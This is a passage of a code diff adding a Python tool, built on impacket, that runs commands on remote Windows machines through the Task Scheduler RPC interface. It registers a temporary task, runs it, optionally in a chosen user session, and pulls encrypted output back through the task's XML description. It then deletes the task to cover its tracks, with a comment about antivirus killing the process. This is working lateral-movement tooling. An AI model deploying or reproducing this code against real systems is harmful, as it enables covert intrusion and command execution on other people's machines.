|
||||
logging.debug('Task xml size: %d' % len(xml))
|
||||
tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
|
||||
taskCreated = True
|
||||
|
||||
logging.debug('Running task \\%s' % tmpName)
|
||||
|
||||
if self.sessionId is None:
|
||||
resp = tsch.hSchRpcRun(dce, '\\%s' % tmpName)
|
||||
else:
|
||||
try:
|
||||
resp = tsch.hSchRpcRun(dce, '\\%s' % tmpName, flags=tsch.TASK_RUN_USE_SESSION_ID, sessionId=self.sessionId)
|
||||
except Exception as e:
|
||||
if str(e).find('ERROR_FILE_NOT_FOUND') >= 0 or str(e).find('E_INVALIDARG') >= 0 :
|
||||
logging.info('The specified session doesn\'t exist!')
|
||||
done = True
|
||||
else:
|
||||
raise
|
||||
|
||||
# print the task guid
|
||||
guid = resp['pGuid']
|
||||
while True:
|
||||
# Get the task status code with SchRpcGetTaskInfoResponse
|
||||
# logging.debug('Calling SchRpcGetTaskInfoResponse for \\%s' % tmpName)
|
||||
try:
|
||||
resp = tsch.hSchRpcGetInstanceInfo(dce, guid)
|
||||
taskState = resp['pState']
|
||||
if taskState == tsch.TASK_STATE_RUNNING:
|
||||
continue
|
||||
except tsch.DCERPCSessionError as e:
|
||||
logging.debug("Task is stopped")
|
||||
break
|
||||
except Exception as e:
|
||||
logging.error(e)
|
||||
break
|
||||
time.sleep(1)
|
||||
try:
|
||||
logging.debug('Calling SchRpcRetrieveTask to get result for \\%s' % tmpName)
|
||||
resp = tsch.hSchRpcRetrieveTask(dce, '\\%s' % tmpName)
|
||||
# logging.debug('Task XML for \\%s' % tmpName)
|
||||
resp_xml = resp['pXml']
|
||||
# get the output from xml Description
|
||||
output = resp_xml.split('<Description>')[1].split('</Description>')[0]
|
||||
if output in xml:
|
||||
logging.error('Execution failed, no output returned. Maybe the windows version is too old or ps killed by AV.')
|
||||
else:
|
||||
output = self.decrypt(randomkey, output)
|
||||
if save is True:
|
||||
try:
|
||||
output = output.encode(self.__codec)
|
||||
byte_array = bytes(int(b) for b in output.split())
|
||||
with open(save_path, 'wb') as f:
|
||||
f.write(byte_array)
|
||||
except:
|
||||
self.output_callback(output)
|
||||
else:
|
||||
self.output_callback(output.encode(self.__codec))
|
||||
except Exception as e:
|
||||
logging.error(e)
|
||||
|
||||
logging.debug('Deleting task \\%s' % tmpName)
|
||||
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
|
||||
taskCreated = False
|
||||
except tsch.DCERPCSessionError as e:
|
||||
logging.error(e)
|
||||
e.get_packet().dump()
|
||||
finally:
|
||||
if taskCreated is True:
|
||||
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
|
||||
|
||||
if self.sessionId is not None:
|
||||
dce.disconnect()
|
||||
return
|
||||
|
||||
dce.disconnect()
|
||||
@@ -0,0 +1,3 @@
|
||||
cmd2>=2.4.3
|
||||
impacket>=0.11.0
|
||||
pycryptodome>=3.20.0
|
||||
Reference in New Issue
Block a user